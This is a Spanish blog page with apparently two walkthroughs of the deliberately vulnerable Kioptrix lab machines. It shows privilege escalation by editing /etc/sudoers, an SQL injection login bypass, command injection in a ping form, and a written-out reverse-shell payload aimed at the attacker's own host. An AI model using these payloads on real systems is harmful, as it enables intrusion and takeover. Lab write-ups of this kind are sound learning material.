<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmu0nGPo6059mHfc5Ej5xRyQi5S5pk48SEWrIMeY6y9dr_UTIgOWy1xy_BLJwopiQrUHOQ0lgXt5MTSTVbveK_1PgRHa7DdPWxI3nUhAORZyd4RFmpuGKqE_z4DqNMWBc7y6j2-lW5fpQ/s1600/25-05-2017+11-36-41.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="271" data-original-width="492" height="176" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmu0nGPo6059mHfc5Ej5xRyQi5S5pk48SEWrIMeY6y9dr_UTIgOWy1xy_BLJwopiQrUHOQ0lgXt5MTSTVbveK_1PgRHa7DdPWxI3nUhAORZyd4RFmpuGKqE_z4DqNMWBc7y6j2-lW5fpQ/s320/25-05-2017+11-36-41.png" width="320" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Con los password de los usuarios, teóricamente podríamos iniciar
sesión como “loneferret” y el password “starwars” de modo que pruebo el acceso
con esas credenciales a través de SSH… con resultado satisfactorio!!!</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZIPmGyPC2Jn6341a7jcWSjvMJ06gV-kJ19kcodxvTYpz7CINJE3bUTWv6dppz1BIxcuH20GZUIKOUcOFrBEsvwGRB9Wtvh_VpUEdmz4y3r03YzfZNAo1s5ERGmuG0utLRoJoXRC2KExw/s1600/25-05-2017+11-36-51.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="236" data-original-width="479" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZIPmGyPC2Jn6341a7jcWSjvMJ06gV-kJ19kcodxvTYpz7CINJE3bUTWv6dppz1BIxcuH20GZUIKOUcOFrBEsvwGRB9Wtvh_VpUEdmz4y3r03YzfZNAo1s5ERGmuG0utLRoJoXRC2KExw/s1600/25-05-2017+11-36-51.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal">
Vamos "uniendo la línea de puntos"… y haciendo memoria recordamos la política
corporativa que descubrimos más arriba y que nos indicaba que podíamos usar el comando “sudo ht” para
obtener privilegios en un software recién instalado, así que... lo lanzamos!.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJoGmvwICOPydiqvEUYSHyJMXOaryGVz9Gmuuoh8xnY3WYgnPuvsVT0_S719CiT2Nr3Oe67GncFfldELr1fyHAeuh_W4oTHZQDz0Ms_FlLosaYxuiCTAv3mTlrBiofPOq_BkdH9VULNdU/s1600/25-05-2017+11-37-10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="116" data-original-width="567" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJoGmvwICOPydiqvEUYSHyJMXOaryGVz9Gmuuoh8xnY3WYgnPuvsVT0_S719CiT2Nr3Oe67GncFfldELr1fyHAeuh_W4oTHZQDz0Ms_FlLosaYxuiCTAv3mTlrBiofPOq_BkdH9VULNdU/s1600/25-05-2017+11-37-10.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<br />
<div class="MsoNormal">
Parece una especie de editor de archivos un tanto "rústico"…
pero como en principio tenemos permisos de administrador, intentamos en primera
instancia acceder al archivo <i>/etc/shadow</i> para sacar los hashes de los usuarios y
obtener el del usuario root</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRMngDa_8_xIgkcAqRVA_RLIh0gm-p_HGqqBmBVVg7R2whlEUEjGAn9t1G_AHXjqbGviLrOod1tQqi9ImYdbAx3JAbKrxifPc6WgrwLfpBc_tziMpnp3zi_eEW_dOnDWW-SENHNbZOgwA/s1600/25-05-2017+11-37-28.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="337" data-original-width="414" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRMngDa_8_xIgkcAqRVA_RLIh0gm-p_HGqqBmBVVg7R2whlEUEjGAn9t1G_AHXjqbGviLrOod1tQqi9ImYdbAx3JAbKrxifPc6WgrwLfpBc_tziMpnp3zi_eEW_dOnDWW-SENHNbZOgwA/s1600/25-05-2017+11-37-28.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal">
Pensamos que puede ser más rápido y más efectivo editar el
archivo "<i>/etc/<span style="color: windowtext; text-decoration-line: none;">SUDOERS"</span></i>
y así hacer al bueno del usuario “<i>loneferret</i>” privilegios y rol de root.</div>
<div class="MsoNormal">
<span style="text-align: center;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtdIntchkvKDZ1pHEh92EBj-NID4P6abXdvgq-D91Hix8foyk52JyQBu-suYUwf2uBb2jaS4JutWS_X3c-gDEUIbgczHJ9HLBgrijRZcHu_fSljc2LoANj1tr6_IRUU56mTThdTlZ6A3A/s1600/25-05-2017+11-37-39.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="252" data-original-width="526" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtdIntchkvKDZ1pHEh92EBj-NID4P6abXdvgq-D91Hix8foyk52JyQBu-suYUwf2uBb2jaS4JutWS_X3c-gDEUIbgczHJ9HLBgrijRZcHu_fSljc2LoANj1tr6_IRUU56mTThdTlZ6A3A/s1600/25-05-2017+11-37-39.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<br />
<div class="MsoNormal">
Guardamos el archivo y cerramos el editor, ejecutamos “sudo su” para
hacer efectivo el cambio de permisos, me pide la contraseña y después de
introducirla tratamos de acceder a la carpeta root. Allí encuentro la ansiada
“flag” que me indica que he logrado el objetivo!!!</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE6zMctdM3eDKUNg3ANg-DY8X9FalRWt_MxvoQfwHitEnwSQAIWQn2njBu_PEnXiePUJb7eBWNyxRkYlcfYjkJyp99YTFqlWwrZkgeknMWyvbomNM24MDdKbkmVTXs5_pZnUNEyrjUTuc/s1600/25-05-2017+11-37-53.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="412" data-original-width="567" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE6zMctdM3eDKUNg3ANg-DY8X9FalRWt_MxvoQfwHitEnwSQAIWQn2njBu_PEnXiePUJb7eBWNyxRkYlcfYjkJyp99YTFqlWwrZkgeknMWyvbomNM24MDdKbkmVTXs5_pZnUNEyrjUTuc/s1600/25-05-2017+11-37-53.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div style="text-align: center;">
<b><span style="color: red; font-family: "calibri" , sans-serif; font-size: 28.0pt; line-height: 115%;">RETO SUPERADO!!!!!!!!!!!!!!!!!!</span></b></div>
Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.com0tag:blogger.com,1999:blog-7944950214559293430.post-61319304040763374762017-05-25T11:11:00.003+02:002017-05-26T08:27:29.790+02:00Walkthrough - Máquina Vulnerable KIOPTRIX lvl 1.1 -<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEVPOSinur5FnMs4ziZxt1Q-jUE_jlr95Qq7IiIq_hQrwWd_vdaq2RWn3CONxfXVgOHFdreo9zKaY3Wl22b0SXOfd5YnIaIr_R3EE6bboFiW6f5iFQIKhHouILuOTCkocS_n69v31wgz0/s1600/kioptrix.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="130" data-original-width="199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEVPOSinur5FnMs4ziZxt1Q-jUE_jlr95Qq7IiIq_hQrwWd_vdaq2RWn3CONxfXVgOHFdreo9zKaY3Wl22b0SXOfd5YnIaIr_R3EE6bboFiW6f5iFQIKhHouILuOTCkocS_n69v31wgz0/s1600/kioptrix.png" /></a></div>
<br />
Me gustaría comenzar las entradas de este humilde blog aprovechando algunas de mis prácticas que realicé para una certificación de seguridad que cursé recientemente.<br />
<br />
<a name='more'></a><br /><br />
En este caso concreto se trata de una de las máquina vulnerable Kioptrix, más concretamente al segundo nivel, y antes de nada decir que siempre hay mas de un modo de "jugar" con estas máquina y sus vulnerabilidades.. no hay un único camino bueno y este es solo uno de los muchos que puedes seguir.<br />
<br />
Manos a la obra!! Una vez descargada la máquina virtual desde su propia web y arrancada la misma nos ponemos al lio!<br />
<br />
<br />
En primer lugar lanzamos el comando <b>netdiscover </b>desde KALI para localizar la IP de la Kioptrix 2 y poder meternos en faena<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2YvJwAM7BonIQmfzrXyzsin9BXM48pRi6iywZ4f3RnRtxBMRrREjY0dc7hOemN9yQV0zcJPFM9zlBF0R9-bZRfTSpQy4Uh2uCxp1CY5Nw3zEvVFdZttxS2D1IQJog6TAMG2zbBFRO6Oo/s1600/25-05-2017+10-16-07.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="218" data-original-width="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2YvJwAM7BonIQmfzrXyzsin9BXM48pRi6iywZ4f3RnRtxBMRrREjY0dc7hOemN9yQV0zcJPFM9zlBF0R9-bZRfTSpQy4Uh2uCxp1CY5Nw3zEvVFdZttxS2D1IQJog6TAMG2zbBFRO6Oo/s1600/25-05-2017+10-16-07.png" /></a></div>
<br />
<br />
Analizamos en primera instancia con <b>nMap </b>los servicios y versiones que ofrece la máquina, obteniendo como resultado que se trata de OS Linux y algún que otro dato más de interés<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmC4gaijq7s65rkglZv0CTD83_l0CdLSs0CIf4gNRcrAHdKn9quK3uROW9QoOBs_JeVUEZBFo-5ioTMKCQx0yArfs7OMp_Z5PfYYj_qrF2HCxjdzVxw6fxxKuEh99ZfaWzrZjl7kas2uo/s1600/25-05-2017+10-17-54.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="280" data-original-width="499" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmC4gaijq7s65rkglZv0CTD83_l0CdLSs0CIf4gNRcrAHdKn9quK3uROW9QoOBs_JeVUEZBFo-5ioTMKCQx0yArfs7OMp_Z5PfYYj_qrF2HCxjdzVxw6fxxKuEh99ZfaWzrZjl7kas2uo/s1600/25-05-2017+10-17-54.png" /></a></div>
<br />
<br />
Lanzamos un segundo escaneo más completo con <b>nMap </b>para obtener mas información sobre las versiones de los servicios que están corriendo en la máquina.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-6aMTDrwctHcM_C2MDeRhGZWizRziPVHDv2BMoX8tvWRX1ADw_mu6o6DqBI9SEZ1oooW_6pN4cLS0yVrAKOq7cvThc2yQFX21YdJERQuAZero1TwCj0wzEfbQ8yOTKH7HUBrsNzIvACA/s1600/25-05-2017+10-18-19.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="232" data-original-width="495" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-6aMTDrwctHcM_C2MDeRhGZWizRziPVHDv2BMoX8tvWRX1ADw_mu6o6DqBI9SEZ1oooW_6pN4cLS0yVrAKOq7cvThc2yQFX21YdJERQuAZero1TwCj0wzEfbQ8yOTKH7HUBrsNzIvACA/s1600/25-05-2017+10-18-19.png" /></a></div>
<br />
<br />
Podemos observar que tiene un servidor web <i>Apache </i>corriendo (http y https), si tratamos acceder desde el navegador a la dirección IP de la máquina, encontraremos una pantalla de login!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqGDjiJCN-hknHsW1nec45GEFJRhScxqTxXOT2DcOOBxxVJFvjo0Wu211NajId4ONsWQ3_G9IxlKYurzDOyN-5dO4SXBxstsLDFVxlG1RTp5yDW_GO3AaGy1SKe8AiEcW7agCAB7dK2OQ/s1600/25-05-2017+10-20-20.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="190" data-original-width="567" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqGDjiJCN-hknHsW1nec45GEFJRhScxqTxXOT2DcOOBxxVJFvjo0Wu211NajId4ONsWQ3_G9IxlKYurzDOyN-5dO4SXBxstsLDFVxlG1RTp5yDW_GO3AaGy1SKe8AiEcW7agCAB7dK2OQ/s1600/25-05-2017+10-20-20.png" /></a></div>
<br />
<br />
Utilizamos <b>wfuzz </b>para tratar de sacar más directorios accesibles del servicio web por si "suena la campana". Obtenemos dos de ellos pero no encontramos nada verdaderamente significante dentro de ellos.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG9AqPZ6BWl_DC-kt65mz3-4v1eLFfJtUdq8KMO6Leqa4YWfFlwH9-ITJHZgjnI_Gyid199Owny-t98aj7b0zhdIVQD6ZOqvC4GyGBKmaXIdVLjUuukaQ-9XQambj0zGJ8FOldV_dOc-Y/s1600/25-05-2017+10-20-55.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="206" data-original-width="468" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG9AqPZ6BWl_DC-kt65mz3-4v1eLFfJtUdq8KMO6Leqa4YWfFlwH9-ITJHZgjnI_Gyid199Owny-t98aj7b0zhdIVQD6ZOqvC4GyGBKmaXIdVLjUuukaQ-9XQambj0zGJ8FOldV_dOc-Y/s1600/25-05-2017+10-20-55.png" /></a></div>
<br />
<br />
Igualmente también utilizamos <b>NIKTO </b>para detectar posibles vulnerabilidades del la versión del servicio web (Apache) que está ejecutándose<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4zuu6JHKH8iRz94RjKDNjIyaacqN0GAzGSDg0Kl-iSBpE6oippz6H8_OknOXI8ttTzuHE5R4EygLfzUVNW8G-AXWmBLMfp1R2Atj8ZWMmeHY1YA0_r0GwguJ8OIwl4pfjPdsrR39Fze4/s1600/25-05-2017+10-21-08.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="329" data-original-width="486" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4zuu6JHKH8iRz94RjKDNjIyaacqN0GAzGSDg0Kl-iSBpE6oippz6H8_OknOXI8ttTzuHE5R4EygLfzUVNW8G-AXWmBLMfp1R2Atj8ZWMmeHY1YA0_r0GwguJ8OIwl4pfjPdsrR39Fze4/s1600/25-05-2017+10-21-08.png" /></a></div>
<br />
<br />
Como nunca está de más en estas lides... tratamos (sin éxito alguno) entrar con <i>root/root</i>, <i>admin/admin</i>, a<i>dmin/1234</i> y varias combinaciones de usuarios/contraseñas “por defecto”.<br />
En esa lñinea de "ensayo y error" tratamos de utilizar la sentencia <b>'or '1'='1</b> para determinar si es existe algún tipo vulnerabilidad a <i>sql inhection</i> y… <b>funciona!</b> Observaremos como ellos nos da acceso al <i>index </i>de la web!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjot6HduFGFjM5mjOmgWlnGtASjVf_7nzVaDPFCSfZdAGN7Gkqqf88RcoSljQJbZP_0-alV3AL7N3ISZBrP4xh4I5ijkAwKNZZy_JoOPzjg1XFuCYp81DhGZDoWR9t-S9FHE7EXe5P3VvI/s1600/25-05-2017+10-21-19.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="200" data-original-width="567" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjot6HduFGFjM5mjOmgWlnGtASjVf_7nzVaDPFCSfZdAGN7Gkqqf88RcoSljQJbZP_0-alV3AL7N3ISZBrP4xh4I5ijkAwKNZZy_JoOPzjg1XFuCYp81DhGZDoWR9t-S9FHE7EXe5P3VvI/s1600/25-05-2017+10-21-19.png" /></a></div>
<br />
<br />
La web parece ofrecer un servicio que meramente realiza “ping” sobre la IP/dominio que rellenes en el “box”, mostrándonos su resultado en una nueva pestaña del navegador.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyiV9abfPQ5pahYbxT2P_xQX4E3mEO4nTZv1VcMX3VSWWCGfLwBu8IKFrKbSA4HaUsprMRv1v0x4R5W5aulL5JXdyhY7M03Y7_pSXbaly2qeZVI2U1q5SDsaFNkHDu0livhwZTk233IPw/s1600/25-05-2017+10-22-30.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="238" data-original-width="567" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyiV9abfPQ5pahYbxT2P_xQX4E3mEO4nTZv1VcMX3VSWWCGfLwBu8IKFrKbSA4HaUsprMRv1v0x4R5W5aulL5JXdyhY7M03Y7_pSXbaly2qeZVI2U1q5SDsaFNkHDu0livhwZTk233IPw/s1600/25-05-2017+10-22-30.png" /></a></div>
<br />
<br />
Si observamos con detenimiento, al final del mensaje podemos leer “pipe 2”... quizás podría significar que es vulnerable a la utilización de "<i>pipes</i>" en Linux! Probamos a concatenar comando en la petición usando el separador “;” y vemos que la base de datos nos da respuesta al comando solicitado junto con el ping.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnYT6cIC7h7rNlm-ts4cKtV3kmKNG4m4pDfCXIrwkzNOU4byrYPIdcGJ4Dd2rYs1MRTh835OvOYiucBUBxUpcXy1CqrGVqbjeqs8ne-FYMoRkMCv3noYrxw6HYewPoE5tIcjgEGmJYcUw/s1600/25-05-2017+10-28-16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="215" data-original-width="567" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnYT6cIC7h7rNlm-ts4cKtV3kmKNG4m4pDfCXIrwkzNOU4byrYPIdcGJ4Dd2rYs1MRTh835OvOYiucBUBxUpcXy1CqrGVqbjeqs8ne-FYMoRkMCv3noYrxw6HYewPoE5tIcjgEGmJYcUw/s1600/25-05-2017+10-28-16.png" /></a></div>
<br />
<br />
Seguimos probando suerte y apovechándonos de lo descubierto y lanzamos de nuevo una consulta descubriendo que somos usuario <i>apache</i>, del grupo <i>apache</i><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilHSGMYDemVPfsyaoaCO_8G9ipiJy60-B6sFOj6qBe_cJoZ0sp-k2eTm48w51vtn6Dpdd65gQixpffbc7pWHYkU2bRTgsMiESL37DHFNXQrngxKpDHR19uZ3FJFe0IH7CdLfjK5HF9K88/s1600/25-05-2017+10-29-38.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="200" data-original-width="423" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilHSGMYDemVPfsyaoaCO_8G9ipiJy60-B6sFOj6qBe_cJoZ0sp-k2eTm48w51vtn6Dpdd65gQixpffbc7pWHYkU2bRTgsMiESL37DHFNXQrngxKpDHR19uZ3FJFe0IH7CdLfjK5HF9K88/s1600/25-05-2017+10-29-38.png" /></a></div>
Como ya conocemos que se trata de un OS Linux intento acceder al archivo PASSWD a través del formulario y… FUNCIONA!!!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_4UxnQc4kU6wFk3O10MBDc-_Fy8oTE6UwVqAFbVYdyaA-73VJfvaeSWjhLl6fivAFoHTbLEMX_uJ7gTetEE6COmQVZ0v_STGhRxH2lZD-73jOJVmUqc_rXUSgqG8JLuY76M0GurCgpo4/s1600/25-05-2017+10-29-54.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="466" data-original-width="354" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_4UxnQc4kU6wFk3O10MBDc-_Fy8oTE6UwVqAFbVYdyaA-73VJfvaeSWjhLl6fivAFoHTbLEMX_uJ7gTetEE6COmQVZ0v_STGhRxH2lZD-73jOJVmUqc_rXUSgqG8JLuY76M0GurCgpo4/s1600/25-05-2017+10-29-54.png" /></a></div>
<br />
<br />
Lamentablemente nuestro usuario es muy limitado y de solo lectura<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuVC3jZsR4uZmmMiHl2l0AOtF4iw9RM8MpgTZ8oHdCyt1GYz_nWW0QNUCaEaVdxMWGjSiMTqJjxkSR9Prm64tjc0z2yL1LHkp0cqNiEcvbw2sftft8mG8bSAzRXtfcGyQCfP1_YJbuz_w/s1600/25-05-2017+10-30-11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="28" data-original-width="322" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuVC3jZsR4uZmmMiHl2l0AOtF4iw9RM8MpgTZ8oHdCyt1GYz_nWW0QNUCaEaVdxMWGjSiMTqJjxkSR9Prm64tjc0z2yL1LHkp0cqNiEcvbw2sftft8mG8bSAzRXtfcGyQCfP1_YJbuz_w/s1600/25-05-2017+10-30-11.png" /></a></div>
<br />
<br />
No obstante intentamos aprovechar lo avanzado hasta el momento parta obtener una Shell y tratar de ganar privilegios desde ella, poara lo cual se nos ocurre utilizar <b>Netcat </b>en KALI para poner un puerto a la escucha y tratar de lanzar la Shell de manera “inversa” desde el formulario web vulnerable <b>(sentencia ;<i>127.0.0.1;bash -i>&/dev/tcp/192.168.1.220/4444 0>&1</i>)</b>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisbevGNd325j-LeTdhZQcDtHeFy98cik393QBC4vH11IozmhwAO-MW63f2snbyBRMh-zddMqEot_VIQN5FuFRc326vCLL5KLHTmSiSjLj7rUd5hrIQibRQZAgnY2XnINDkQSlh-jhrvWA/s1600/25-05-2017+10-30-26.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="62" data-original-width="359" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisbevGNd325j-LeTdhZQcDtHeFy98cik393QBC4vH11IozmhwAO-MW63f2snbyBRMh-zddMqEot_VIQN5FuFRc326vCLL5KLHTmSiSjLj7rUd5hrIQibRQZAgnY2XnINDkQSlh-jhrvWA/s1600/25-05-2017+10-30-26.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8LaaK1jW1Wh5s6l1gEuZmZk-v55n29eX6hG6tepfArHD2bBNliiON2WHQ_DLcp9z9wZ5VN1Hjoqy-MPp1R2wGIdv5qfzChTqhj_3ftBKi-OfzNugC1YlEsIiKHAr0AzhCq_LXLBJH-7g/s1600/25-05-2017+10-30-43.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="152" data-original-width="452" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8LaaK1jW1Wh5s6l1gEuZmZk-v55n29eX6hG6tepfArHD2bBNliiON2WHQ_DLcp9z9wZ5VN1Hjoqy-MPp1R2wGIdv5qfzChTqhj_3ftBKi-OfzNugC1YlEsIiKHAr0AzhCq_LXLBJH-7g/s1600/25-05-2017+10-30-43.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1ucsYcDl3zUct7J7cACjxqYyHyHiU5BoItEJOMvvisl-7kWE7prccXNpjiqDoWMDK_D8G4FWO0p3T2EwNGxIMLTzZyk6JEySevrT2Zi3GJMtptEAI5gfFzx7X3uzP_MOfkdIJXNQy7Kg/s1600/25-05-2017+10-31-05.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="165" data-original-width="448" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1ucsYcDl3zUct7J7cACjxqYyHyHiU5BoItEJOMvvisl-7kWE7prccXNpjiqDoWMDK_D8G4FWO0p3T2EwNGxIMLTzZyk6JEySevrT2Zi3GJMtptEAI5gfFzx7X3uzP_MOfkdIJXNQy7Kg/s1600/25-05-2017+10-31-05.png" /></a></div>
<br />
<br />
Una vez dentro toca buscar la manera de escalar privilegios, llegados a este punto (y con la recolección inicial de información) buscamos vulnerabilidades de las versiones de componentes corriendo en la máquina, atisbamos una posible “luz al final del túnel” al encontrar cierto exploit para el kernel 2.6.9.55 de Linux que tiene la máquina objetivo.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOZppBj2xTKYDLsh3sKokOuFAxHe1JU6TwzftvK4I6S9T-lITErQsgZ_-c2Il3OoxcRWXEwy4dcU8g70BnAdCnOZ_Hi4NJamwrLSBc5QbIh5gevkWUlO7vD9fXeIhQJT0GmHEdMRt5zo0/s1600/25-05-2017+10-31-25.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="283" data-original-width="412" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOZppBj2xTKYDLsh3sKokOuFAxHe1JU6TwzftvK4I6S9T-lITErQsgZ_-c2Il3OoxcRWXEwy4dcU8g70BnAdCnOZ_Hi4NJamwrLSBc5QbIh5gevkWUlO7vD9fXeIhQJT0GmHEdMRt5zo0/s1600/25-05-2017+10-31-25.png" /></a></div>
<br />
<br />
Después de descargarlo e indagar por internet sobre su utilización… resulta no ser tan sencillo el asunto como ejecutarlo y listo… básicamente entendemos que el mejor procedimiento es descargarlo en la maquina victima, en el directorio <i>/temp</i> que es el único que aparentemente tenemos permisos, pero obtengo errores del certificado SSL de la web exploit-db.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9y2gcfM9h302yiu1Et2F8CNL8qImwtNvwmKCX1fUuWv3zJNJ2Wi8yUQfjD-fJidILS_vBDZ7DKXESu9qZZFz0vQQghPRRtoLtK7ACr3VTz2mZtZYbMGJ8re7QdT64IeNsV16Rp6tS-z8/s1600/25-05-2017+10-31-38.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="216" data-original-width="450" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9y2gcfM9h302yiu1Et2F8CNL8qImwtNvwmKCX1fUuWv3zJNJ2Wi8yUQfjD-fJidILS_vBDZ7DKXESu9qZZFz0vQQghPRRtoLtK7ACr3VTz2mZtZYbMGJ8re7QdT64IeNsV16Rp6tS-z8/s1600/25-05-2017+10-31-38.png" /></a></div>
<br />
<br />
Como lo tenemos descargado en KALI se nos ocurre levantar el servicio Apache del mismo para servir el archivo desde él y “cogerlo” desde ahí con mayor éxito y sin problemas de certificado… por fortuna funciona!!!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_bv6hp772VM2tVt1dAkidMuVNNdw4RvVR_NHRs4w1IueIJ1flEqDM2WSdq7nFXVt3PQATtcU2KOmg_FC-uLFYlBd4GTcMuPiVkiRNsTW3-tIBGSldQUZeoNscRv4KlY__b9k1Xo4DQG8/s1600/25-05-2017+10-31-53.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="239" data-original-width="449" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_bv6hp772VM2tVt1dAkidMuVNNdw4RvVR_NHRs4w1IueIJ1flEqDM2WSdq7nFXVt3PQATtcU2KOmg_FC-uLFYlBd4GTcMuPiVkiRNsTW3-tIBGSldQUZeoNscRv4KlY__b9k1Xo4DQG8/s1600/25-05-2017+10-31-53.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
